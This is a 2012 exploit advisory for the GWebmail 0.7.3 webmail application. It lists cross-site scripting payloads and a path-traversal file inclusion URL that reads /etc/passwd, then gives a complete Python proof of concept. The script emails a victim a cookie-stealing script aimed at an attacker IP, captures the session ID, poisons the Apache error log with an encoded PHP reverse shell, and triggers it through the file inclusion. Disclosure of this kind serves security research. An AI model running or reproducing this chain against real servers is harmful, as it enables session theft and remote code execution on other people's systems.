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GWebmail 0.7.3 XSS / LFI / Command Execution

GWebmail 0.7.3 XSS / LFI / Command Execution
Posted Aug 18, 2012
Authored by Shai rod

GWebmail version 0.7.3 suffers from cross site scripting and local file inclusion vulnerabilities. The local file inclusion vulnerability can lead to code execution.

tags | exploit, local, vulnerability, code execution, xss, file inclusion
MD5 | 666c0e02c1b6b9c7e942e71cea5d4554

GWebmail 0.7.3 XSS / LFI / Command Execution

Change Mirror Download
#!/usr/bin/python

'''

# Exploit Title: XSS & LFI RCE Vulnerabilities in GWebmail
# Date: 11/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: https://www.gwebmail.net
# Software Link: https://www.gwebmail.net/download/
# Version: 0.7.3

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

Gwebmail is an ajax powered webmail system with an interface similar to Gmail
It is entirely written in PHP and uses MySQL to store messages

It is modeled after the popular free email service from Google, gwebmail has a user
friendly interface similar to Gmail but you will use this interface to access emails
from your own servers ( unlike Gmail that will save your email into their servers )


GWebmail is vulnerable to the following:

1. DOM XSS.
2. Flash XSS.
3. Self XSS.
4. Post Auth Local File Inclusion.

Maybe more....too lazy to keep going ;)


Vulnerability Description:


1. XSS in Search Field.

Injection Point: Search Field.
Injection Payload(s): <script>alert("XSS")</script>

XSS Can be also triggerd directly using the following url: http://10.0.0.6/gwebmail/?mail#Inbox.Search/<script>alert("XSS")</script>


2. DOM XSS.

http://10.0.0.6/gwebmail/?mail#<script>alert("XSS")</script>


3. Flash XSS (Vulnerable SWFUpload version)

Originally discovered by Neal Poole and Nathan Partlan(https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/)

URL to vulnerable flash object:

http://10.0.0.6/gwebmail/modules/default/js/swfupload/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("XSS");//


4. Stored XSS in E-mail Subject.

Injection Point: Subject Field
Injection Payload(s): Hi<script>alert("XSS")</script>

Steps to reproduce the XSS:

Send an email to the victim with the payload in the subject field.
XSS Will be triggered in message listings (Inbox etc..) and when user opens the email.

5. Stored XSS in Display Name and contacts display name.

Injection Point: "Name" Field
Injection Payload(s): testuser"><img src='1.jpg'onerror=alert("XSS")>

Steps to reproduce the XSS:

Go to "Settings" -> "Account", In the "Name" field insert XSS payload.

XSS will be triggered on the Account page and on the main page contacts widget.


6. Self XSS.

Vulnerable Page URL: http://10.0.0.6/gwebmail/setup

Injection Point: Username Field, Password Field
Injection Payload(s): "><script>alert("XSS")</script>


7. Post Auth Local File Inclusion.

http://10.0.0.6/gwebmail/?module=../../../../etc/passwd%00

Details:

In order to exploit this LFI the attacker must be logged in to the system with a valid credentials.
It is possible to gain access without credentials by exploiting the XSS issues and steal user cookie in order to gain Remote code execution using the LFI issue.

Proof of concept is provided.

'''

import smtplib, socket, re, urllib2,time

print "###############################################"
print "# GWebmail XSS+LFI RCE POC #"
print "# Coded by: Shai rod #"
print "# @NightRang3r #"
print "# http://exploit.co.il #"
print "# For Educational Purposes Only! #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server = "192.168.1.10"
smtp_port = 25
subject = "GWebmail XSS+LFI POC"
attacker_ip = "192.168.1.11"
attacker_port = "4444"
xss_payload = """<script>new Image().src="http://""" + attacker_ip + """/log.php?cookie="+encodeURI(document.cookie)</script>"""
gwebmail_server = "192.168.1.10"
apache_log = "../../../var/log/apache2/error.log"
shell_sleep = 10

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n"
% (sender, ", ".join(recipient), subject + xss_payload) )
msg += "POC MAIL\r\n"
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()


# TCP LISTENER TO GET COOKIE

TCP_IP = '0.0.0.0'
TCP_PORT = 80
BUFFER_SIZE = 1024
print "\n[*] Setting up listener on port " + str(TCP_PORT) + "."
print "\n[*] Waiting for victim to login (May take a while...)."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()
data = conn.recv(BUFFER_SIZE)
conn.close()

print "\r\n[+] Stealing Cookie..."

# MATCH PHPSESSID

m=re.compile('SSID=(.*?)HTTP').search(data)
cookie = m.group(1)
print "\r\n[+] PHP Session ID: " + cookie

# EXPLOIT LFI

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=' + cookie))

shell_payload = "%3c%3f%70%68%70%20%24%61%64%64%72%3d%24%5f%52%45%51%55%45%53%54%5b%27%61%64%64%72%27%5d%3b%24%70%6f%72%74%3d%24%5f%52%45%51%55%45%53%54%5b%27%70%6f%72%74%27%5d%3b%69%66%20%28%21%28%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%24%61%64%64%72%2c%24%70%6f%72%74%29%29%29%64%69%65%3b%77%68%69%6c%65%20%28%21%66%65%6f%66%28%24%73%6f%63%6b%29%29%20%20%7b%24%63%6d%64%20%20%3d%20%66%67%65%74%73%28%24%73%6f%63%6b%29%3b%24%70%69%70%65%20%3d%20%70%6f%70%65%6e%28%24%63%6d%64%2c%27%72%27%29%3b%77%68%69%6c%65%20%28%21%66%65%6f%66%28%24%70%69%70%65%29%29%66%77%72%69%74%65%20%28%24%73%6f%63%6b%2c%20%66%67%65%74%73%28%24%70%69%70%65%29%29%3b%70%63%6c%6f%73%65%28%24%70%69%70%65%29%3b%7d%66%63%6c%6f%73%65%28%24%73%6f%63%6b%29%3b%3f%3e"

print "\n[*] Poisoning Apache Error Log..."
try:
lfi = opener.open("http://" + gwebmail_server + "/" + shell_payload)
except urllib2.HTTPError, e:
print "\n[+] Please setup a netcat listener on port " + attacker_port + ", Shell will be triggered in " + str(shell_sleep) + " seconds..."
time.sleep(shell_sleep)
print "\n[*] Triggering Shell..." + " http://" + gwebmail_server + "/?module=" + apache_log + "%00" + "&addr=" + attacker_ip + "&port=" + attacker_port
lfi = opener.open("http://" + gwebmail_server + "/?module=" + apache_log + "%00" + "&addr=" + attacker_ip + "&port=" + attacker_port)
print "\n[+] Bye..."


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